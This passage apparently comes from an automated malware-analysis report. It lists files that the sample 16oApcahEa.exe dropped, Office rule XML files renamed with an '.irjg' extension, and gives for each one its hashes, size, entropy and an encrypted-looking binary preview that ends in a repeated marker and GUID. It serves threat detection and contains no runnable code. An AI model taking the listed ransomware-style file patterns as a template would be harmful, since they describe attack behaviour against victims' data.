SHA-256:	22E492B1451CCA5011927F9E89A59BB9BACC5D30677041BEE42AA7CF73102CC2
SHA-512:	C803DDC7716B848721FA70A407191AA7150AD3D3F13C7692B29EFDB265CBF991C6D5C9D45883977A8DF42EEF017E1F1EA6B491CC73B76536CFF0813DA3EBE971
Malicious:	false
Preview:	<?xml...=}w......O..YV-t..c..d.Z..p.;/".2.C..M....i7.S.+....G&.?i.g.0.E.....^....,.N.b+i..F....W...i.k.y...h..x..FC..Q.77.....L.!.H...S_zO..F..l.....D....M.u.._....x...i..(..g..).......DG.............fzr..l.l0`r&..V[........T.A6z....1.6..@.n.....<..h,..^....H<b...LE.pK...Q.C.H..!U.....u...Qa&..$\|V.O.......X.C.......^8...a.:-H-.=.jzc..^T.5.....(#.+.....u.e..l%...3...l..Cw........<.`....C..[m.A]@.`..r.EJ...-...._o..Ly.V.g.$\|...2...N7.."90....,..T..Z)4..$..C...!vr.f.o.'(.i..8.J....9..ji..$....!+t...i.....-."99.#..)....J.4L....W...%.9;...G.p..e3...{wc..1..X[0.2..}.......X..M..I...a?.....H....eC<x.....m..m@u....?..H.m.}..........i^.m....^.T]2,.....~%..F.;G..^`;v%..m....3.A..{~Q[N.F.....m..8UZl........"b.}".=.M.b.=....s.Lr....!....TT.}.....y..d.u9!....(.9S..... ...w..M..z....S.qu%}.f#"..K.;.R....H!......c.<.+...,...nV...x%1 ....R."_...._...HGXZNt.zR=.;.;..-...U...m!....\..mf".i..."D.8..c.1..\.M.&..s...y{......"..Jb.....>x...u.\|'.".......

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1062891
Entropy (8bit):	5.530765657124685
Encrypted:	false
SSDEEP:	12288:rDM2OPU0nih7ovzXSZlV0N8x5thr291gess3TylunXF:nM2VUqkn
MD5:	69B18B3D86932E2F07684070409011EB
SHA1:	71981864E15180818C50F667B78D7589F6DCDAB7
SHA-256:	4CC5AE089148BF02480851672A01E9EA9CEBC19FBC3077B57E0B7C34328B423A
SHA-512:	111DB9678DAE3EB7B30025100065723E5F19CF85E3FBB20878B14C9CF84409C31FFBDF67DE2D54F6671C106DCFF8C391C46D0314DCD57025C30FC867B04035E6
Malicious:	false
Preview:	<Rule.......<:%.&K.K.C..Z;...u.....&....M.."..Ub.$.8.nYv...].....v\._c4.P..$.h.z..dL.yn\|L..:B..U....N?L5e..#.V.`.1meQ.B%..v.....G..E .]...V....\|"$..:.~...5.d..dj.l.K..v..33,:.(..F!.]...0...F...........B.w....'O..w....4/KkcZ.F......C.....b..1.-.r.J.W.S...?..U..r{.F..U/6..y.[^!dx....m./.j(.9.Cy...~(..$ ..1\....U...j7=1...u..\|.y~..g8\|..Di...z.%....#.R.f(gPcS...x...l..D?.\|....KU..hb.......Z..a.:...G.98YV....RB.. A.....+..9..q.8..._l.Q.:..E..uY...e..y./~.$>[Z...e.$...\|...p.S@(ts.v.n.....Yi..I.C:.......T.&Hm....Y.j)...8....5..T...U..i"....R7.c..O>.&........-.no...........u.2z....xBD.i:..g......fh.`....l}d.iV0......E..$....t2x.......i...s.1S.....iL.\|#-..u.r......B.S.t...!...Mjc.Q"\...."~..).?>..qE..xnai........W5.G......S....80.o..}.Z.3..].szW}.k2.C.7....\|......u.!a3..q....[<;.*...Vh..Z..!..b.&"....l....d0...CV\.=..G4(<Up.q..qodF...aA\|g.Cy...........6...N.o......V9Pqg..v....V........8.\.K..C,M...;.V....<=u..`....Xq...pLj..g=X..X.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120604v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.680920643439149
Encrypted:	false
SSDEEP:	12:c5nIwdTiccUEnt9J4aDfko7TztBgV/xogXEAhy26p5uH3x27R7a9M2cii9a:vkOs+zxfko7TztmoegDuHhE7a9pbD
MD5:	2C9428CC2C8F590F2D2EACF49BF4BA6A
SHA1:	55C9F75A8D9AAACC9AC33A9BF7253FA6DAB74BCA
SHA-256:	4C37719C9C3BDD7561D7AE2A49737C441561571A22D460F58A5BFEB7CC836CD3
SHA-512:	E62FD816A7460C6D2CD6ECEB1882CC608976FC7D72B28349CE72E10FF33322A98907D1AEED52E24D154F65EA0D5AEFD76787BEEA80A40FB4FC13455260B2A6C4
Malicious:	false
Preview:	<?xmlh#.W....i3..........i......qH.]5.\Il..N.rF..S.W.\|....6.H.%.fJ%....}..J....9.8..;.....%2<.z.U5G...o..@Q_.i..kY..........n...Y.v.......+.',X.Q.....<...\.....9..%..%........$...gm..wK.,C.......H....]..(..X.n.\.......[...2..G.o.<........w.E.y.=.......aJ.CE}.r..H....:<q.D-+..k(.?......f...Vt..T\|......K.E.~.........c[.....>......;...H@....M..}.Q.X..jF.`{..).GmT.s.....4....y..02..a..G..mej$#L.Q.w....%E..\|...(G.zx............0.....N):Cv...J.v...(.P.U....)......<.mu..8(*2.?P..".(F......UR..F?./........(.....X.H..&...c;[<....5....Wn. j$.....L..2....b..X......2..C}.....~b..FQ)Gy8 ...i..X..~......(vkC...a...}^b.Z..?.\|.3)a{...&{T.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120605v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.8224700625745385
Encrypted:	false
SSDEEP:	24:aePUfKHOnlnzxT5LNQbtinin/3qmThyTYUru0ed6kX9pbD:aZPdXminiyMhykUVxkJD
MD5:	95E3C9AC2B7240A68ADF2A22B413C9B1
SHA1:	8DB7C7FD11A41C25E74C395D8BF62CB9B24CF6F9
SHA-256:	D36D403E9BE35F1F11CE75D3DC13E2B3F333CBDC6A1C6B4F08400B46E36A50C9
SHA-512:	42283A472A4FEE8AA8C4CECBF2DE49DE1E2095CC268251A89DE1D706C03AF7A8CD63C649CAEEE82932853C5F548545977AE89BAFCE53DE3D16DDB322CC1121DD
Malicious:	false
Preview:	<?xml.}G...]S._8.%au>.%..G......v.J.d$.V."h..K....h..].Le.$r8%K..J.c.]dY.......A...l...U.z.{.....7]c.r"...t.g.....)_`.......$f.1.F....@Q..deH..r7..........v.#.../.=).+.....PT^....p.'d`.....=G.8.j...u..H[.^......$.L.X'.lfl...s.+.2mUe,^.....F.t....!%&..N..F]....N.+..S...R.^Y..V.C......H.M.. .A;x.<...V..F.........P5...M..N....#.8....yU.T..9a.w*(....sc......hj....Z.+.;/.....S.pi.f...6.9....hu.Whx..J........#....W.%..\|.r.j...K......g.+.:".c....}Z..'D...t"....W..].!oD....u..g.6..........C..L/..f.J9.[F.....r.h....lv.Q.....p.,.I0.`......^......9.....H...)}FI.6J.@ChrK..G.kW...%.{+....&..&.....c..E.......a.p....d.EZ......L.Dn.....bS.....`y..o.....u..J.).3.P../.IM[4.8..6....Q..%_....Py.x.$)..0.....C.O(T......_..>,..C8\...G-...,.F.......).......c.\|.. ...1=.tB5...TNc.^...SWm.g......'nn].............g..;(v...I....L,.".%.^..O1f.K.S....{..lf=.{l.b)h...M....Gda.....3.I.z.Vm...n.#,...J>....G...8.../...]T...b2Ar....?.&_........&?....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120607v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	7.538319009448416
Encrypted:	false
SSDEEP:	12:+q+xoDBefOLbLAmb6kNT1C2+Rd58H48mBs9M2cii9a:+qv8fOMm+kRU2cd58H4Zs9pbD
MD5:	47327B43EBBFBCE1206F16E7DD817748
SHA1:	DC25A02DAB0E0339BC62DFBC6A2CA11E74F12658
SHA-256:	26F106586D8DA18FF6FAA8F085B2EC51A9DF843AB31C4ECD79F99D056CA31E1B
SHA-512:	AA5762CD9E40765CC8026E1E92FBE37CF97760BA3DB4A02C3A3CB17214AF50DFB86A81D44938C2461ACDA4F7ECE20D45D87E58C46EF1FE76E5B72C72487970B5
Malicious:	false
Preview:	<?xml#{.[".gxp2...g.R.,.....b..X..;..C.f.q....rG...%._..>Suu;.K...&,X..x.w.%G_2..~..5.F+S..>.....>i~..Q..F..?h7....89..X....o.8xA.]<Y.....4g..p.sI<.....K{!noY..z[o.i.x...P.p]4VJ......r}.eR....>B...[@I....T\|.l.+.......(B...jL.)..........tw.l.GV8..Q..4.`.A3JEn..m..5d..hH........a..,n]..`...K..c.H\|..E......Q..h.G.@..$....==.$.........#...#.YG.g......K1.-.` ..C....N.FnD..N..78.<.A.j]uw.Q...8.B..p.D....`ZG.....z9.....m......y.h.#&..=..wR&$gxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120608v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	7.913364578051471
Encrypted:	false
SSDEEP:	48:IyDbLzPWnnj4WFknXJs3tSdF4yMLMKd612ju/u80R8Nx1JD:vbvaj4EkqtYKytKL8X3
MD5:	C38AE405989B3B7C062799427852575E
SHA1:	8E87EAAFF18C5B27169E797801EED9A44165BF81
SHA-256:	B418DC69B49C97644D51A777EDA9654F6770A5FEC9300FED5F2CA46438EBAFC5
SHA-512:	155B5CEFB22BD54F46202355C14F21008C643D31314C66C1D62AD2CFF185466D6852B4EBF4E25F74AB0AF66A54BB0DD85757E05F68DA8D3792E86D77EB7CF424
Malicious:	false
Preview:	<?xml...:."Qc...5..I.[.>./r.]SGG..u..\|.....Z.r].u...t......ef.cc....uv.9....-/L.vq.$/.'N....cxIu......)$9Cw.'.....O.-}...+8}.l1../..[N...Dn...}.'..v..iY..b>. \|..S.\|d..{R.N..Y.?..}...S..\!/u..h..6..~U....,.xCB..l....4Ssz+.....-..b.,...~2.. .j$.w.......eC...".3$.W..C0.&..,o:z...#S.(....&.t.j.....U......"&..V...+.f.x..d..i...u.O...Ht+.I.`..W..lqj.N.......d......V.#..........s..6..$q.)...:...a..H.@.O.@...DM... .1,........uX.S.(..[.-......pK..!){.s...#._u.~6.`..8...uy......v"L..`)8\|I...xC.M4.=....\.k.........8t....aT..V<....b....].B=.\..uXp.o..QI...jG.8..'.a(....M..5...y...RGb.....Kq.\.+$.i.%..;.....M&./.Ai.T....F)=y.^...6..'A5\..b.\..5,u(.....P.]..is......S....b..9rwm.8.`.^.G.8h.......[D4.l.`#.0..)H....y)/...!.A...I.hH......T.Q...F.i..l.......K..d...i..._\/.y...g.3.N......Z.[.....N....h[..*.... a........)t...#....g.Uz.............@..m?.."I.6.xg.i...avTe.X...+>.{XQ.{..;..BDa&6..hg..W5...~.F$.'.t8f1.J.h..^...y....8,%..Mz.....A....0N

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120609v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.686345468761595
Encrypted:	false
SSDEEP:	12:yFWAc2hCCOYx3PXEAvfbAo8j0Foz67MpiuFdl2QvNFrI1EkJ6V2P/gcTWt9M2ciD:yFdhwwN8o8jnfpiGnjvNFrI96Vout9pX
MD5:	A136D0E0526A8FB22C4089334B142878
SHA1:	BBD1F1FCF5D9FFE6C025CB3123FD6E4206627293
SHA-256:	91BF42DFB11AEC8F58F5DA37BAC67C45AFEB4108BDAE8056D36A14863F695A13
SHA-512:	72A2E1312E0F1A0D0AF9ACCB04EAF312B1F29B8C4D2ED2DF1208E7527F781AE2A99EF742F1DFE548B652F7E1F95AB33000C0EACC86E946AF3030B6FDED8D0DFE
Malicious:	false
Preview:	<?xml.\|c....}.d.......y2..Ck.Iw.....!.6\.>".w...}_....q.~:8.Al.../...3...D.0:....m.G.t.ssv.uF....UsP....9.......,.l.D=.=.....V(.b..8."...^.....i"...)...M.......M.v...#..e&.].-J+.V..VJ..,.y.A..<..~.9+..2<.\|2...f.......?s.;.9.....G.Y.....@...Y.F{.`.g.G.....!...6......L.......=...v.y....T(YL..~]Q-.s....%t....>......nm.<......P.xu.S."l[.1pI...?9.....7.Q....lRD\|.y8.f_.FX..7`:B....#".(`'..B.]...1vHf... .y....Unm...S.D.Bd[f.S_0i...GV.XA..G.c..n...D$.......l.Wj./.%NP.....z.d..h._.P.EXop8j...=.p..5.8...#..F.....G..k....9...n.l.h..s....&/.<.7F..?..7@X...X...0.5@1..6..d.....<...Z.,.......u... ..W.Pt.........w.....3....i....h.hG.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120610v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.713424107949033
Encrypted:	false
SSDEEP:	24:tZ3ws9MVzkyBWiRQm2o9Nh07z+GZxsWwi9pbD:Dg1Qm24i35zsWTJD
MD5:	3B24C2A52C0044AE36A8D5262089F379
SHA1:	1BE3D6337BC34DFA7C694D7C1922D4DE2BA1ED96
SHA-256:	C01551EDBAD4AC266BA3AA52E97F96B1F6277344671B4D71A42517854C89D91D
SHA-512:	D5184DE61A9721D4301380691E172CF774311B9A4FE819D88D348EC0D05CF9F2174C919E02D9B4706885081E57568E98BC7EA2914178CF7F7651F550E85C0815
Malicious:	false
Preview:	<?xmlA...b..vx..\|. . .J.k.. b.J...I..xy.\.._:0553Pp.K(.A{\|.4./.p!.,$.+..T=pj..g.B....OC44.....\7.C)K.P...c(..X....Y....J.><.<1.D./x)X.....C~9...".......2..NE....d.D..^$nE.!..C_m....i$58f.w..i...Vm;.n.9.\..+.C%...USk. ......F`I!{...K .S........ZKE.(.".5_..j}.....s.kL.....oX_c....Z.2.^].......W....rK.)f.<..4.G...{$.)....g.Ns.Y..Q.g.~.Kg.,.%.*,A...A!.+..M'(....,A.....p....9...B."?../.>Gn.&.\|[\|]H.\|.E..J%8L.....y. 2....kc.e....i......D?.(..`..G..b.i.......n..0oY.........mMf.Y......uI..l....!.J..d..pM.7...3..u]KLNQ .#.(.D..x......BY..6."...rSKz/...U...d.KB.%..ssG..5...t.v.2.j....,d.s..F{..C..\|....y..........,.............x.....~..\|iNi.p..).^.C.I.h....SVaF.:p..w6...........W%Y..x.......^w..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120611v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.702367040887888
Encrypted:	false
SSDEEP:	12:6pG6kWAjGNm+Zu7OwuSXXUflpomo90p418GQs4CACWdhltGFBNuM9M2cii9a:mGlWevBd9XclpLp43l4CACEhlgFBMM9h
MD5:	E1464B4CB27441C04D0D59F336EA5E87
SHA1:	78A2D783C48DA297234FECAD0FC5402B6FB887D7
SHA-256:	32E085F9034FD8535E67601B6A789E0DCABAD148D2B321BC77CAAE22CA833518
SHA-512:	45C3FE85001F0D71D05207570E032BEBBF53E010FA1364361FF364CFEE5CF2387940215863E18EB7323B4EC2C9102D4FC6D7FD8D85E446D13A4A751E8553AB39
Malicious:	false
Preview:	<?xml~..of.R.G.%....]]....W.......~6......w..[h....G.U....A6qs....p.!.....gk.z.67...L.r\..>..>.&.=..Y..H.....b.m^...%7.[...N.e...1..X.....y.7.e..Rn./n..Br/'&..ERX._.......X..T.3...&......U.^.E.....,.6....&.bD........L...I:.p.6[.L..2......A%!Hc.H.#.u.G..\.X.....^^...z.....6m..:....eWv.%}.5.>..N..D.1.......(.+b... .......n.-..1V..k..F/.I..K....&l\...Z.....lI...VN.[D.T.8...bn.Z.f.....s....J.ef.B.C....(QMHi.&.H...S=..[../N!.)I D$h8......T...HG,.X'?h..`.4....=.I..3.^.;....kOme.(.....`.l.%..5W7K(fD...x...;....KElL.>$.g`ojR33.4...y.O.I...a.b.._E.E-j.)."v......T.P/8;.G..k\|.G.Mm...._..z.v@V!.T......T.5..~... .<..._A...2#..+...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120612v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.751001074259438
Encrypted:	false
SSDEEP:	24:zqHgE3kqOXHNkTEJiToAxATrj5azeXjBk4M3+u9pbD:GHzfOXHNwNbKMe1k4M3+gJD
MD5:	464778F8034CFEEB7703824B47E0A1DA
SHA1:	3E8F4384853B1617443B4E5AB216B15EDCBF29FF
SHA-256:	61BA74A9F7C4A403EEA7E72A2543BF7BB77E9EAA782A3C26C277BAE9AD50DE21
SHA-512:	241B60397CAAED9E35989A4DB6091CA259B168054C68B679A9640E402858CF07C992BFF2B30DBFD125EE930E0C0C758AADEE905E4ECF380BC82E50363B0CCA5D
Malicious:	false
Preview:	<?xml.....Cs..........-w...G.1.^G.\|.. ........hB..9.i;;..\|..y.Qu'.4..H.....5n.g.QiN...e[.3.....w`&...&..e.X.wa6J......:.j..5.iI...w.....SY...p.]........-0...)F}.o\..ubR.b.....;#A.. ...7....i.@h..M...4?1....H.......m._..p...Y.FHq...R......X.... ..`u.TN.Z..W).:...VL....s.F....I.;...X..:...w..+.....=.F/X7....j.....A4;+@..E..>#........}[.2>....z#..M.Pj.)...P.!..d<.'..........].j.TV..A.d%d{.....)i..~....[.w$.Z..D.......\,...2..P...)....Q.....(........c..W......(.......u...).pA...F..q.Q..Yf.O\|..C..b....6.....<Q.`.V.T.i!.v(i...:.6."...:..;.... ..G..."...9.W.d.y..Mp..v.,C..J.....(.....%.}i.:8z..t'..S.V...}N...9]M2C..H6.....U...K.x...]Q.0......r*..&..mKRl......[m._.x~..w....vp...$.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120613v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.798384781330828
Encrypted:	false
SSDEEP:	24:Dm53lsEU818X2uAeiPLTZ5P1J6gOXwgOy7A2VoPOF0PuK9pbD:yBlCgyhizT3tJjOnOyU2yg0FJD
MD5:	B6A1F55DDC54D1483A9AB3F01CAEECC8
SHA1:	2DF9DFF1393E4D645093D89B7B22AB33B6770B3E
SHA-256:	B857AD2FD15403CD83EEF8761C71B7532C5931A565D2704247C5C9DAD6A7F53D
SHA-512:	1E223B65AB1818F612AB64E7EBBDFBFAB924147067356ABC77610771B506BEC87A7E23B13A3AAD46D6FBDDE3733529B1119C587081DC8F9F58000C54185F5D4E
Malicious:	false
Preview:	<?xml.O..{....R.\<o8c.o,.~\..mY.......x..7.MQ[MN...;X...i.q...FT`j..o?...] 9.,....c.}..._'....qzR..k@...%..e.X\|.U9....i.y9..Y .N..3.l.=W.g%A..9...I........vS9...N.U.EP=.V4......bO...UV....... ....!...>>...}..i.K./a.v.9s..O..O.n..".o...s.p]M^..&.FC..l.%...xq9..X.......7...~.....#...@Ut....I.N2t...N.....}...,S..8C....M)...=np..hc...C.a`..2.uw=..M.N...k.....{.r....!.\._.e...CaM..j.7\|..}....\|.M]N....N.....Z.I..R.4.$...-4.1.c.&_.$.<.+....n...{.eWOd@<..-.(5...m...Y..?./v.#6.....\./"..."...%..y...;H.%...F.cz2]..g.......~........-...S..[$.......DP..?....M.......g.......%. x..h.I......c%)..7.R-....H..`..Rm.0..f...w$...fU"e..T.x.ul...*......~ub5.......<.YT.J.0-m.6...k..T.>B.:..........qd..U#...#...-..M.1.....Y........%^..L.)..e.Jd.U]P..a.6.}..I...K.f...qW%..,.bS.&..&U...ix.......WP...G....W.-...6...@.nI...DHr,..~Q..&..Wt......<. $"7<.Y.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120614v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.709283526543385
Encrypted:	false
SSDEEP:	24:qwI8XAFMsa7s365vNMjQ8mJId0RT509pbD:RI8QFNa7+6FqQTJI6RkJD
MD5:	8CE7ACD3C71CD46230A6FF57594B5EA6
SHA1:	34AC162CB1589F412CD0FD9751C942EA651E58DE
SHA-256:	AF99F4019AFA0D08204777528C147ED83E6D2C5BE74C67AEF456CD74C2B2BD72
SHA-512:	D0B2F7BF3AB4193F5304ADAC8738FA850C27B4FCC2BCB6A2E8D6216E2ADBD2A2010178F85289FCC4B31A41E7E1F18C352FBF060945DCA3D8A262DEFD0EA8FAE5
Malicious:	false
Preview:	<?xml..;...\|....k._@x...p(..KuK......6^tX..".KJ......l...v.+$I..A8....GR.....v..... .`.p3M....v.$.K..$.v.a).q70.5.tp..].....vQ..\i0.;%V8...i....U ......(c...9.3p.m....s..\|x...... \|.....ow=:..0.eR...f..$%....J[..G.4....W.X...wF....y.:Y...#..%n......fg.....fI.we2O...L.@.&...S.`...k..{......\.2.f..E...j.H.<..\|2.......:D.q.N+O."..a.B.....sPJI.A...v.bO..[I}......r...k'(....d.=&\|Mx....J..."..;......{..1.ZZ.'G.qP.=...L.S....../\k.X.u..m..c_8$..`..[%..qo....l..i.9.hAY).H.........-...i.w_..a...w3./..QDL.D.z..u\|t%..E.ZE.R.!.6.Kk.?,.s$..cB...\.Od..q.cs.{D"A....@..`&.i.V.%.....#....]`T.cn...............g..V)......D.g.YeV.T..[.u.....H].?...e!B..;c....k\...*\..A....i..!..%4..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120615v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.675403939702731
Encrypted:	false
SSDEEP:	12:5ZqpQTzIlur5tzo75taLllzxNk0xMSJjHoGOhSWwZ8EPe8e867Wq7UE+AO9M2ciD:KpIIlkI5sJl9MSJjIG2SWwCEPTeH7NYJ
MD5:	C2206AEEC2439D550A2E6BBC418A5F16
SHA1:	51F6E6F46FE3DADF2EA60910D48A753455D4B1C9
SHA-256:	ADF2F65F5AD0A1C84EC0CB2894445D6BAFC294C9ECB7C383FBC6E1294619DBEC
SHA-512:	4BC66CA58F769F6628AA55BFE8C6FFF9D1DA696745F40D7CBA585A993F25775620A7DA98BC5E8CA9EC1E222D961FBECEAA7A3C03820B0045CC8012A5CEAF768F
Malicious:	false
Preview:	<?xml,4z..K<.F.5?..i...6@-..H.JY..Vm...(C6..P.V.fem..nXr.../%...8.+_.4...X.)...=.;d.s....V.)......8.8.A,L<u6M3...\|...;..N..$...9.........b...`.%.._...Q...x..>..!.b.8..KE>..;O.me....] jZ.wL{j..@W....Go:$~.q............F....d..V;.\.[.......<c............S.5D.'...2..mJ.....C..w.....`..Q.vg.O..\.....6D....5.F.O..80.m......$d...y..d...2...cUZC.:...n[......w.fu!O.K....gq................p?..u.....Is..9..}..Y.N.R*@l....}....`<&.A. .z-=.\|.0.....:..UU....s..?...'...H.&.7L...h.y.n.3....~.f.S..M.`j..C..".f.~U1+.Z.L.......!...s...s..P9..a.C%.E.../d.O..<K.#......O.!T.._.J....f..o.c.f....j..R...qg....4.....[...0PftM!Z.o4.%..H.-$i;..../.h....#.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120616v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.7138984122426
Encrypted:	false
SSDEEP:	12:JprW9Y3GIY3p5CXp9W8aphsm+9U+XrtXrArWv4Pqb3r+ICQ2LcrpqEm9M2cii9a:Jpi8YKXpGzh+XrtbArZPqbbpicdm9pbD
MD5:	A9253B4996C87E7BAE8D57DB614B0C0B
SHA1:	DBEE39DED230BCC1F63C3195A61A67BDAD5E1CF0
SHA-256:	064B2BA7D4CD63A3B55B9584DCBF8609628268C02E325961F69FFD3B8F7B54CF
SHA-512:	A0F162B431BC9C8423E8E8382C50CE293A5BF7663E3D2794FCF39FCB8A0E9561950E0EBC7DCFF8511B0C72BFD6CB6B32FF36B64B4E5A5AE159FA19758B742CD7
Malicious:	false
Preview:	<?xml..+Bj...e.oX.%U.......{.zG..'....#...^f....P.P..&C6...#1@..;.>j.q...a]...y.<g5...s...\0..1....5..Y..S...Z.......U...=3.@.....s.BlD.H..O.....<.......'J.p.z..]`.2...WD..)[.. .t...{..u....a.R\#...j^..8.....Q.n4xo.8.."/......[....11...Gd..>.$...a.h.{X..&.....?&....^3..F2...=.3.-./bAaQ...-..I....j.).....J+).. ....f.....w.....-\|.IY...b5.......z~h......P.B..(...]..e,..n.K......x:...i%...&N..3...fs...._...h..rIlG.j.W.M.g.y..U....K.m'....E.....{8N.H)~.a7E\..]\D.1G.N..Q!...^..!XB..)~....nj....$*..{..\X9.......!...Z..6..c.'}..T#.C....)..:\|8.S.d~.4..+.O.xU....r.......A.~.,....h@$.9..X..k.{........c.1...].st~.>..z"...&_.(.."...w......R.........=......a....)?.......".....%.J.M...$.o.A.>>M..D?M....<.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120617v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.703867304490475
Encrypted:	false
SSDEEP:	12:Yn3E/KzoUBLtlVu+vaNpj2uX0NvSqsv6V8dVzWRu8vJI7qbSygYa39M2cii9a:Yn38KaNFT09Sqh+VSlB9bBgY29pbD
MD5:	4EC348CB68658E9D916C1C989572E967
SHA1:	428B7DCBBAC25877293106397B453718B7B78CD9
SHA-256:	1B05AE3D31206DEF67E91C405B155CCE868A850D5CF240E987A29687331A0777
SHA-512:	D881214AC9E8D64E6C7303F6FF415F5A116DEDE388D996B3CA2BC7BDAE2AF389363A8CA644275E3008BB105BEC0F75654A6F020F780524D55728E81F1D1974E4
Malicious:	false
Preview:	<?xml.8.3&]?...d..1.9L_].71p.B.t.]....q..k...Qa.S....W.c\|.[.<.)Y...lY..b...HlU..H.P.j.............w,.......(fEJh...%.o.6...&.zx......cnz7y.........[E.2...JA.....\..d..5....Y5-.;..B....,.2..Cb...x..KD.t..S...$`...XDmp..@....?...e.E$A....l.mA....8.'.r.......p.!.R<.79..A......pX..bb...G..l..Y\|.\|......7./.B.....p>X.}..gVa.?{.X^........1.s........GI....L}........{.p.R.._..........4.!%....s....'.....J.A....9.....%..D...n...T..I.$...A.o.l. .9G.X.qO.u..o.ra.L...jm.7h.$'..._$.h.1M......B....n...z"k.3..u#u..7.....e.y..........l.-d..Y.........]T....z..._W.`>.t.hz.....ye.~.:!`..(.D".E.J.>6..C'...8...m..H...#v_h.m..QNnv.ua."..JeXb...\.p..m.2..~......\xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120618v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.715746061027357
Encrypted:	false
SSDEEP:	24:xqxWJqa5n3/wmZvFV7joguwiPVzSVD4qc9pbD:xbtx/lvFVpjiPVzSR4qyJD
MD5:	A63A5264AB00DF5C98C5126B9F66AB7A
SHA1:	0368D5BB73802BB65342F2CCB75EA40EDA76A0FD
SHA-256:	EDBE6D7F1423C196FA2D84979D2072912D9FAC1BEBE7CB15496DB5F005D5A874
SHA-512:	FA865DA434122BE8F78252235003CEE0ADBB6EF6703EF916289D77BAC01C55C84F776ECEA6C8D86685C098847829FB42CAD73EDF33854B0B560FD8E6C67A5726
Malicious:	false
